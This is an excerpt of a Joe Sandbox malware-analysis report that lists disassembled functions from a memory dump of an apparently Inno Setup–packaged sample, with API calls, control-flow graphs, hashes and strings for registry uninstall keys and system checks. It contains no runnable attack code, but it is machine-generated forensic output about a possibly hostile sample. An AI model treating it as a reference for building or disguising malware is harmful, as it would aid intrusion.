                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                                                                                      • Opcode ID: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
                                                                                                                                                                                                                                      • Instruction ID: 8daab3ef8e56b0da8b8c23f45c5b5388ad46b50bd825570c2d348c61856efc62
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BFE0223170021466C311AA2A9C86AEAB34C9758310F00427FB904E73C2EDB89E4042A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424151,?,00000000,0042415C), ref: 00423BAE
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: NtdllProc_Window
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4255912815-0
                                                                                                                                                                                                                                      • Opcode ID: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
                                                                                                                                                                                                                                      • Instruction ID: a748582893d7571d6ac8bdbe819d0a8fbf5f36db2d3505b6f19a51c7a0bbae16
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47F0B979205608AF8B40DF99C588D4ABBE8AB4C260B058195B988CB321C234ED808F90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: NameUser
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2645101109-0
                                                                                                                                                                                                                                      • Opcode ID: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
                                                                                                                                                                                                                                      • Instruction ID: 9f318ec9847dd9a6abcb639c8bc611599857aea0b867fcad4bfaeec6bdb042bf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8FD0C27230470473CB00AA689C825AA35CD8B84305F00483E3CC5DA2C3FABDDA485756
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F53C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: NtdllProc_Window
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4255912815-0
                                                                                                                                                                                                                                      • Opcode ID: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
                                                                                                                                                                                                                                      • Instruction ID: 7ca9c19e24a5def9c493c34941f9da96f9ca037215ec7a65a90973bf7a04e639
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FCD09E7120011D7B9B00DE99E840D6B33AD9B88710B909925F945D7642D634ED9197A5

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 844 46eecc-46eefe 845 46ef00-46ef07 844->845 846 46ef1b 844->846 847 46ef12-46ef19 845->847 848 46ef09-46ef10 845->848 849 46ef22-46ef5a call 403634 call 403738 call 42dec0 846->849 847->849 848->846 848->847 856 46ef75-46ef9e call 403738 call 42dde4 849->856 857 46ef5c-46ef70 call 403738 call 42dec0 849->857 865 46efa0-46efa9 call 46eb9c 856->865 866 46efae-46efd7 call 46ecb8 856->866 857->856 865->866 870 46efe9-46efec call 403400 866->870 871 46efd9-46efe7 call 403494 866->871 874 46eff1-46f03c call 46ecb8 call 42c3fc call 46ed00 call 46ecb8 870->874 871->874 884 46f052-46f073 call 45559c call 46ecb8 874->884 885 46f03e-46f051 call 46ed28 874->885 892 46f075-46f0c8 call 46ecb8 call 431404 call 46ecb8 call 431404 call 46ecb8 884->892 893 46f0c9-46f0d0 884->893 885->884 892->893 895 46f0d2-46f10f call 431404 call 46ecb8 call 431404 call 46ecb8 893->895 896 46f110-46f117 893->896 895->896 899 46f158-46f17d call 40b24c call 46ecb8 896->899 900 46f119-46f157 call 46ecb8 * 3 896->900 918 46f17f-46f18a call 47bd90 899->918 919 46f18c-46f195 call 403494 899->919 900->899 929 46f19a-46f1a5 call 478924 918->929 919->929 934 46f1a7-46f1ac 929->934 935 46f1ae 929->935 936 46f1b3-46f37d call 403778 call 46ecb8 call 47bd90 call 46ed00 call 403494 call 40357c * 2 call 46ecb8 call 403494 call 40357c * 2 call 46ecb8 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 call 46ed00 call 47bd90 934->936 935->936 999 46f393-46f3a1 call 46ed28 936->999 1000 46f37f-46f391 call 46ecb8 936->1000 1004 46f3a6 999->1004 1005 46f3a7-46f3f0 call 46ed28 call 46ed5c call 46ecb8 call 47bd90 call 46edc0 1000->1005 1004->1005 1016 46f416-46f423 1005->1016 1017 46f3f2-46f415 call 46ed28 * 2 1005->1017 1019 46f4f2-46f4f9 1016->1019 1020 46f429-46f430 1016->1020 1017->1016 1024 46f553-46f569 RegCloseKey 1019->1024 1025 46f4fb-46f531 call 49485c 1019->1025 1022 46f432-46f439 1020->1022 1023 46f49d-46f4ac 1020->1023 1022->1023 1028 46f43b-46f45f call 430bcc 1022->1028 1027 46f4af-46f4bc 1023->1027 1025->1024 1032 46f4d3-46f4ec call 430c08 call 46ed28 1027->1032 1033 46f4be-46f4cb 1027->1033 1028->1027 1039 46f461-46f462 1028->1039 1042 46f4f1 1032->1042 1033->1032 1035 46f4cd-46f4d1 1033->1035 1035->1019 1035->1032 1041 46f464-46f48a call 40b24c call 479150 1039->1041 1047 46f497-46f499 1041->1047 1048 46f48c-46f492 call 430bcc 1041->1048 1042->1019 1047->1041 1050 46f49b 1047->1050 1048->1047 1050->1027
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0046ECB8: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,00475FFE,?,0049C1DC,?,0046EFCF,?,00000000,0046F56A,?,_is1), ref: 0046ECDB
                                                                                                                                                                                                                                        • Part of subcall function 0046ED28: RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F3A6,?,?,00000000,0046F56A,?,_is1,?), ref: 0046ED3B
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,0046F571,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046F5BC,?,?,0049C1DC,00000000), ref: 0046F564
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value$Close
                                                                                                                                                                                                                                      • String ID: " /SILENT$5.5.2 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
                                                                                                                                                                                                                                      • API String ID: 3391052094-2734025597
                                                                                                                                                                                                                                      • Opcode ID: 4b47327b70ee27fc59f023ce9095d4925cbd7ad973a1f437070c8b1580be5bb7
                                                                                                                                                                                                                                      • Instruction ID: 41df9594f94a3a106a445eb875b77748a5d5020e54387338891d7450c5044d2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b47327b70ee27fc59f023ce9095d4925cbd7ad973a1f437070c8b1580be5bb7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CF123335A00109AFDB04EF55E981ADE73F5EB48304F60847BE840AB396EB78AD45CB5D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1051 4923a8-4923dc call 403684 1054 4923de-4923ed call 446f9c Sleep 1051->1054 1055 4923f2-4923ff call 403684 1051->1055 1060 492882-49289c call 403420 1054->1060 1061 49242e-49243b call 403684 1055->1061 1062 492401-492424 call 446ff8 call 403738 FindWindowA call 447278 1055->1062 1070 49246a-492477 call 403684 1061->1070 1071 49243d-492465 call 446ff8 call 403738 FindWindowA call 447278 1061->1071 1081 492429 1062->1081 1079 492479-4924bb call 446f9c * 4 SendMessageA call 447278 1070->1079 1080 4924c0-4924cd call 403684 1070->1080 1071->1060 1079->1060 1089 49251c-492529 call 403684 1080->1089 1090 4924cf-492517 call 446f9c * 4 PostMessageA call 4470d0 1080->1090 1081->1060 1098 492578-492585 call 403684 1089->1098 1099 49252b-492573 call 446f9c * 4 SendNotifyMessageA call 4470d0 1089->1099 1090->1060 1111 4925b2-4925bf call 403684 1098->1111 1112 492587-4925ad call 446ff8 call 403738 RegisterClipboardFormatA call 447278 1098->1112 1099->1060 1127 4925c1-4925fb call 446f9c * 3 SendMessageA call 447278 1111->1127 1128 492600-49260d call 403684 1111->1128 1112->1060 1127->1060 1140 49260f-49264f call 446f9c * 3 PostMessageA call 4470d0 1128->1140 1141 492654-492661 call 403684 1128->1141 1140->1060 1151 4926a8-4926b5 call 403684 1141->1151 1152 492663-4926a3 call 446f9c * 3 SendNotifyMessageA call 4470d0 1141->1152 1162 49270a-492717 call 403684 1151->1162 1163 4926b7-4926d5 call 446ff8 call 42e394 1151->1163 1152->1060 1174 492719-492745 call 446ff8 call 403738 call 446f9c GetProcAddress 1162->1174 1175 492791-49279e call 403684 1162->1175 1183 4926e7-4926f5 GetLastError call 447278 1163->1183 1184 4926d7-4926e5 call 447278 1163->1184 1208 492781-49278c call 4470d0 1174->1208 1209 492747-49277c call 446f9c * 2 call 447278 call 4470d0 1174->1209 1189 4927a0-4927c1 call 446f9c FreeLibrary call 4470d0 1175->1189 1190 4927c6-4927d3 call 403684 1175->1190 1195 4926fa-492705 call 447278 1183->1195 1184->1195 1189->1060 1201 4927f8-492805 call 403684 1190->1201 1202 4927d5-4927f3 call 446ff8 call 403738 CreateMutexA 1190->1202 1195->1060 1217 49283b-492848 call 403684 1201->1217 1218 492807-492839 call 48c764 call 403574 call 403738 OemToCharBuffA call 48c77c 1201->1218 1202->1060 1208->1060 1209->1060 1227 49284a-49287c call 48c764 call 403574 call 403738 CharToOemBuffA call 48c77c 1217->1227 1228 49287e 1217->1228 1218->1060 1227->1060 1228->1060
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000000,00000000,0049289D,?,?,?,?,00000000,00000000,00000000), ref: 004923E8
                                                                                                                                                                                                                                      • FindWindowA.USER32(00000000,00000000), ref: 00492419
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FindSleepWindow
                                                                                                                                                                                                                                      • String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
                                                                                                                                                                                                                                      • API String ID: 3078808852-3310373309
                                                                                                                                                                                                                                      • Opcode ID: fc65408302e00bfaa9df3cfa690acb5bb30b22ebaabf7b5c0919dab2d319a526
                                                                                                                                                                                                                                      • Instruction ID: 9f3505894e5a6fd9d1366d4270c7319e33b1617852d99992837f934410b553a1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fc65408302e00bfaa9df3cfa690acb5bb30b22ebaabf7b5c0919dab2d319a526
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0CC182A0B042413BDB14FF3E9D4151F59A99B94708B118A3FB446EB38BCE7DED0A4399

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1621 483560-483585 GetModuleHandleA GetProcAddress 1622 4835ec-4835f1 GetSystemInfo 1621->1622 1623 483587-48359d GetNativeSystemInfo GetProcAddress 1621->1623 1625 4835f6-4835ff 1622->1625 1624 48359f-4835aa GetCurrentProcess 1623->1624 1623->1625 1624->1625 1632 4835ac-4835b0 1624->1632 1626 48360f-483616 1625->1626 1627 483601-483605 1625->1627 1628 483631-483636 1626->1628 1630 483618-48361f 1627->1630 1631 483607-48360b 1627->1631 1630->1628 1633 48360d-48362a 1631->1633 1634 483621-483628 1631->1634 1632->1625 1636 4835b2-4835b9 call 45271c 1632->1636 1633->1628 1634->1628 1636->1625 1639 4835bb-4835c8 GetProcAddress 1636->1639 1639->1625 1640 4835ca-4835e1 GetModuleHandleA GetProcAddress 1639->1640 1640->1625 1641 4835e3-4835ea 1640->1641 1641->1625
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483571
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0048357E
                                                                                                                                                                                                                                      • GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0048358C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483594
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 004835A0
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 004835C1
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004835D4
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 004835DA
                                                                                                                                                                                                                                      • GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 004835F1
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
                                                                                                                                                                                                                                      • String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 2230631259-2623177817
                                                                                                                                                                                                                                      • Opcode ID: ecd875b9fed982c6964d0a5895b6aed5fdd9f377785afaacdd435e2d250d9586
                                                                                                                                                                                                                                      • Instruction ID: 55e3f4d73e57614863bf74929b0f0177a2d28665cd9645ad6096ae2f13a54172
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ecd875b9fed982c6964d0a5895b6aed5fdd9f377785afaacdd435e2d250d9586
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6113D81549782B4DA21BB7D8D5AB6F1A888B10F5AF140C3B7C40753C2E96DCE458B6E

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1647 468bfc-468c34 call 47bd90 1650 468e16-468e30 call 403420 1647->1650 1651 468c3a-468c4a call 478944 1647->1651 1656 468c4f-468c94 call 4078f4 call 403738 call 42de1c 1651->1656 1662 468c99-468c9b 1656->1662 1663 468ca1-468cb6 1662->1663 1664 468e0c-468e10 1662->1664 1665 468ccb-468cd2 1663->1665 1666 468cb8-468cc6 call 42dd4c 1663->1666 1664->1650 1664->1656 1668 468cd4-468cf6 call 42dd4c call 42dd64 1665->1668 1669 468cff-468d06 1665->1669 1666->1665 1668->1669 1690 468cf8 1668->1690 1670 468d5f-468d66 1669->1670 1671 468d08-468d2d call 42dd4c * 2 1669->1671 1675 468dac-468db3 1670->1675 1676 468d68-468d7a call 42dd4c 1670->1676 1693 468d2f-468d38 call 4314f8 1671->1693 1694 468d3d-468d4f call 42dd4c 1671->1694 1678 468db5-468de9 call 42dd4c * 3 1675->1678 1679 468dee-468e04 RegCloseKey 1675->1679 1686 468d7c-468d85 call 4314f8 1676->1686 1687 468d8a-468d9c call 42dd4c 1676->1687 1678->1679 1686->1687 1687->1675 1700 468d9e-468da7 call 4314f8 1687->1700 1690->1669 1693->1694 1694->1670 1704 468d51-468d5a call 4314f8 1694->1704 1700->1675 1704->1670
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,00468E16,?,?,00000001,00000000,00000000,00468E31,?,00000000,00000000,?), ref: 00468DFF
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00468C5B
                                                                                                                                                                                                                                      • Inno Setup: Deselected Tasks, xrefs: 00468D8D
                                                                                                                                                                                                                                      • Inno Setup: App Path, xrefs: 00468CBE
                                                                                                                                                                                                                                      • Inno Setup: User Info: Serial, xrefs: 00468DE1
                                                                                                                                                                                                                                      • Inno Setup: Selected Tasks, xrefs: 00468D6B
                                                                                                                                                                                                                                      • Inno Setup: Setup Type, xrefs: 00468D0E
                                                                                                                                                                                                                                      • Inno Setup: User Info: Organization, xrefs: 00468DCE
                                                                                                                                                                                                                                      • Inno Setup: User Info: Name, xrefs: 00468DBB
                                                                                                                                                                                                                                      • Inno Setup: No Icons, xrefs: 00468CE7
                                                                                                                                                                                                                                      • Inno Setup: Selected Components, xrefs: 00468D1E
                                                                                                                                                                                                                                      • Inno Setup: Icon Group, xrefs: 00468CDA
                                                                                                                                                                                                                                      • Inno Setup: Deselected Components, xrefs: 00468D40
                                                                                                                                                                                                                                      • %s\%s_is1, xrefs: 00468C79
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                                                                                                                                                                                                      • API String ID: 47109696-1093091907
                                                                                                                                                                                                                                      • Opcode ID: 477994bb8960d1965e10b40f61816eaf4c7b707db17a7ca4aa6169c09ca9eb9e
                                                                                                                                                                                                                                      • Instruction ID: 0c37994fccd001a995e494b6850b37eb05b7d5ed784e69181523ebf3a7e49158
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 477994bb8960d1965e10b40f61816eaf4c7b707db17a7ca4aa6169c09ca9eb9e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8D51C570A006049BCB10DB65C941BDEB7F5EF48304F50856EE840AB391EB38AF01CB6D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042D898: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00453DB4,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15), ref: 0042D8AB
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                        • Part of subcall function 0042D8F0: GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
                                                                                                                                                                                                                                        • Part of subcall function 0042D8F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910
                                                                                                                                                                                                                                      • SHGetKnownFolderPath.SHELL32(00499D1C,00008000,00000000,?,00000000,0047C432), ref: 0047C336
                                                                                                                                                                                                                                      • CoTaskMemFree.OLE32(?,0047C37B), ref: 0047C36E
                                                                                                                                                                                                                                        • Part of subcall function 0042D208: GetEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,?,?,00000000,0042DA3E,00000000,0042DAD0,?,?,?,0049B628,00000000,00000000), ref: 0042D233
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
